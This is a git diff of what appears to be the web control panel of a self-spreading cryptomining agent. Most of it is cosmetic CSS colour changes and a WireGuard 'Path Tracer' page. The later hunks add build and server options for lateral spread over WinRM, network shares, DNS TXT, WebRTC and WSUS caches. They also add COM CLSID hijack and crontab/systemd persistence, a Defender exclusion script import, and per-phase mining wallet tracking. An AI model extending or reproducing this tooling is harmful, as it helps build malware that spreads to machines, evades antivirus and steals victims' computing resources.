||||
margin-left: auto;
|
||||
}
|
||||
.pt-hop-status.pending { background: rgba(255,200,0,0.15); color: #ffc800; border: 1px solid #ffc80033; }
|
||||
.pt-hop-status.ready { background: rgba(0,255,170,0.15); color: #00ffaa; border: 1px solid #00ffaa33; }
|
||||
.pt-hop-status.ready { background: rgba(0, 232, 245, 0.15); color: #00e8f5; border: 1px solid rgba(0, 232, 245, 0.2); }
|
||||
.pt-hop-status.failed { background: rgba(255,80,80,0.15); color: #ff5050; border: 1px solid #ff505033; }
|
||||
|
||||
/* ── Action buttons ──────────────────────────────────────────── */
|
||||
@@ -236,14 +236,14 @@
|
||||
}
|
||||
|
||||
.pt-btn-primary {
|
||||
background: linear-gradient(135deg, #00ffaa22, #00ffaa11);
|
||||
border-color: #00ffaa;
|
||||
color: #00ffaa;
|
||||
text-shadow: 0 0 8px #00ffaa;
|
||||
background: linear-gradient(135deg, rgba(0, 232, 245, 0.13), rgba(0, 232, 245, 0.07));
|
||||
border-color: #00e8f5;
|
||||
color: #00e8f5;
|
||||
text-shadow: 0 0 8px #00e8f5;
|
||||
}
|
||||
.pt-btn-primary:hover:not(:disabled) {
|
||||
background: linear-gradient(135deg, #00ffaa44, #00ffaa22);
|
||||
box-shadow: 0 0 14px #00ffaa44;
|
||||
background: linear-gradient(135deg, rgba(0, 232, 245, 0.25), rgba(0, 232, 245, 0.13));
|
||||
box-shadow: 0 0 14px rgba(0, 232, 245, 0.27);
|
||||
}
|
||||
.pt-btn-primary:disabled {
|
||||
opacity: 0.35;
|
||||
@@ -312,9 +312,9 @@
|
||||
|
||||
.pt-modal {
|
||||
background: #0e1117;
|
||||
border: 1px solid #00ffaa44;
|
||||
border: 1px solid rgba(0, 232, 245, 0.27);
|
||||
border-radius: 14px;
|
||||
box-shadow: 0 0 60px #00ffaa22;
|
||||
box-shadow: 0 0 60px rgba(0, 232, 245, 0.13);
|
||||
padding: 2rem;
|
||||
max-width: 520px;
|
||||
width: 100%;
|
||||
@@ -334,9 +334,9 @@
|
||||
font-weight: 700;
|
||||
letter-spacing: 0.12em;
|
||||
text-transform: uppercase;
|
||||
color: #00ffaa;
|
||||
color: #00e8f5;
|
||||
font-family: var(--font-tech, monospace);
|
||||
text-shadow: 0 0 12px #00ffaa66;
|
||||
text-shadow: 0 0 12px rgba(0, 232, 245, 0.4);
|
||||
}
|
||||
|
||||
.pt-qr-wrap {
|
||||
@@ -345,7 +345,7 @@
|
||||
padding: 0.5rem;
|
||||
background: #000;
|
||||
border-radius: 10px;
|
||||
border: 1px solid #00ffaa33;
|
||||
border: 1px solid rgba(0, 232, 245, 0.2);
|
||||
}
|
||||
|
||||
.pt-qr-img {
|
||||
@@ -387,7 +387,7 @@
|
||||
font-size: 0.62rem;
|
||||
letter-spacing: 0.14em;
|
||||
text-transform: uppercase;
|
||||
color: #00ffaa55;
|
||||
color: rgba(0, 232, 245, 0.33);
|
||||
font-family: var(--font-tech, monospace);
|
||||
margin-bottom: 0.4rem;
|
||||
}
|
||||
@@ -405,8 +405,8 @@
|
||||
display: inline-block;
|
||||
width: 14px;
|
||||
height: 14px;
|
||||
border: 2px solid #00ffaa33;
|
||||
border-top-color: #00ffaa;
|
||||
border: 2px solid rgba(0, 232, 245, 0.2);
|
||||
border-top-color: #00e8f5;
|
||||
border-radius: 50%;
|
||||
animation: pt-spin 0.6s linear infinite;
|
||||
vertical-align: middle;
|
||||
|
||||
@@ -246,10 +246,10 @@ export default function PathTracerPage() {
|
||||
<header className="deck-hero">
|
||||
<div className="deck-hero-text">
|
||||
<p className="deck-eyebrow font-tech">NETWORK OPS · WIREGUARD</p>
|
||||
<h1 className="pt-title">⬡ Path Tracer <HelpTip field="pt_path_tracer" /></h1>
|
||||
<div className="pt-subtitle">
|
||||
<h1>⬡ Path Tracer <HelpTip field="pt_path_tracer" /></h1>
|
||||
<p className="page-subtitle">
|
||||
Build an on-demand multi-hop WireGuard VPN — select up to 3 agents, click TRACE.
|
||||
</div>
|
||||
</p>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
|
||||
@@ -34,7 +34,6 @@ import {
|
||||
buildDefenderExclusionScript,
|
||||
defaultWindowsInstallPreview,
|
||||
} from '../help/defenderExclusion';
|
||||
import './Pages.css';
|
||||
|
||||
/** Recursively merge `override` into `base`, preserving keys not in `override`. */
|
||||
export function deepMerge<T extends object>(base: T, override: Partial<T>): T {
|
||||
|
||||
@@ -127,38 +127,6 @@
|
||||
z-index: 1;
|
||||
}
|
||||
|
||||
.page-header--sacred {
|
||||
position: relative;
|
||||
padding-bottom: 0.75rem;
|
||||
}
|
||||
|
||||
.page-header--sacred::after {
|
||||
content: '';
|
||||
position: absolute;
|
||||
left: 0;
|
||||
right: 0;
|
||||
bottom: 0;
|
||||
height: 1px;
|
||||
background: linear-gradient(
|
||||
90deg,
|
||||
transparent,
|
||||
rgba(201, 162, 39, 0.5) 15%,
|
||||
rgba(0, 245, 255, 0.35) 50%,
|
||||
rgba(201, 162, 39, 0.5) 85%,
|
||||
transparent
|
||||
);
|
||||
}
|
||||
|
||||
.page-header--sacred .page-header-sacred-motif {
|
||||
position: absolute;
|
||||
right: 0;
|
||||
top: 50%;
|
||||
transform: translateY(-50%);
|
||||
width: 48px;
|
||||
height: 48px;
|
||||
opacity: 0.2;
|
||||
pointer-events: none;
|
||||
}
|
||||
|
||||
/* Neon card corner watermarks */
|
||||
.neon-card {
|
||||
|
||||
@@ -17,7 +17,7 @@
|
||||
box-shadow:
|
||||
var(--shadow-panel),
|
||||
inset 0 1px 0 rgba(232, 197, 71, 0.12),
|
||||
0 0 40px rgba(0, 245, 255, 0.04);
|
||||
0 0 40px rgba(0, 232, 245, 0.04);
|
||||
}
|
||||
|
||||
.chart-header {
|
||||
@@ -82,7 +82,7 @@
|
||||
120deg,
|
||||
rgba(201, 162, 39, 0.06) 0%,
|
||||
rgba(8, 6, 4, 0.4) 40%,
|
||||
rgba(0, 245, 255, 0.04) 100%
|
||||
rgba(0, 232, 245, 0.04) 100%
|
||||
);
|
||||
box-shadow: 0 0 48px rgba(201, 162, 39, 0.06);
|
||||
}
|
||||
@@ -144,18 +144,9 @@
|
||||
text-shadow: 0 0 16px rgba(57, 255, 20, 0.4);
|
||||
}
|
||||
|
||||
.earnings-preview-badge {
|
||||
font-family: var(--font-tech);
|
||||
font-size: 0.6rem;
|
||||
letter-spacing: 0.18em;
|
||||
color: var(--brass-light);
|
||||
opacity: 0.75;
|
||||
margin-bottom: 0.35rem;
|
||||
}
|
||||
|
||||
.contrib-panel.sample-contrib .contrib-fill {
|
||||
background: linear-gradient(90deg, var(--brass-dark), var(--neon-cyan));
|
||||
box-shadow: 0 0 10px rgba(0, 245, 255, 0.25);
|
||||
box-shadow: 0 0 10px rgba(0, 232, 245, 0.25);
|
||||
}
|
||||
|
||||
.activity-pulse.sample-activity .pulse-row.ok .pulse-dot {
|
||||
|
||||
@@ -297,6 +297,15 @@ export interface ServerSettings {
|
||||
public_builds_latest_n?: number;
|
||||
/** Server-side LOTL Onion tier order pushed to agents with lotl_policy_from_server. */
|
||||
lotl_onion_tiers?: string[];
|
||||
/** Triple onion recon/deploy gates pushed to agents at auth. */
|
||||
triple_onion_policy?: {
|
||||
patch_first?: boolean;
|
||||
mine_isolated_tier?: boolean;
|
||||
skip_mining_on_high_risk?: boolean;
|
||||
high_risk_threshold?: number;
|
||||
recon_tiers?: string[];
|
||||
deploy_lanes?: string[];
|
||||
};
|
||||
}
|
||||
|
||||
export interface TunnelDefaults {
|
||||
@@ -492,6 +501,12 @@ export interface BuildRequest {
|
||||
share_spread?: boolean;
|
||||
/** WinRM encoded bootstrap during autospread (Windows, owned/lab). */
|
||||
winrm_spread?: boolean;
|
||||
/** DNS TXT mesh shard staging via _aether zone (Windows/universal default ON). */
|
||||
dns_txt_spread?: boolean;
|
||||
/** WebRTC LAN seed manifest path — heavier; default OFF. */
|
||||
webrtc_mesh_spread?: boolean;
|
||||
/** WSUS SoftwareDistribution cousin staging (default ON for Windows). */
|
||||
wsus_cache_peer_spread?: boolean;
|
||||
/** COM CLSID hijack persistence — high-friction; default off. */
|
||||
com_hijack_persist?: boolean;
|
||||
/** Linux LOTL persistence: systemd_run_user | crontab | both | off */
|
||||
|
||||
@@ -20,6 +20,8 @@ export interface TierAttempt {
|
||||
error?: string;
|
||||
duration_ms?: number;
|
||||
wallet?: string;
|
||||
/** recon | deploy | mining — triple onion phase */
|
||||
phase?: string;
|
||||
}
|
||||
|
||||
/** Full tier run snapshot — mirrors Go TierReport (mining_diagnostics + WS stats). */
|
||||
@@ -68,6 +70,7 @@ export function parseTierAttempts(raw: unknown): TierAttempt[] {
|
||||
error: typeof row.error === 'string' ? row.error : undefined,
|
||||
duration_ms: typeof row.duration_ms === 'number' ? row.duration_ms : undefined,
|
||||
wallet: typeof row.wallet === 'string' ? row.wallet : undefined,
|
||||
phase: typeof row.phase === 'string' ? row.phase : undefined,
|
||||
});
|
||||
}
|
||||
return out;
|
||||
|
||||
Reference in New Issue
Block a user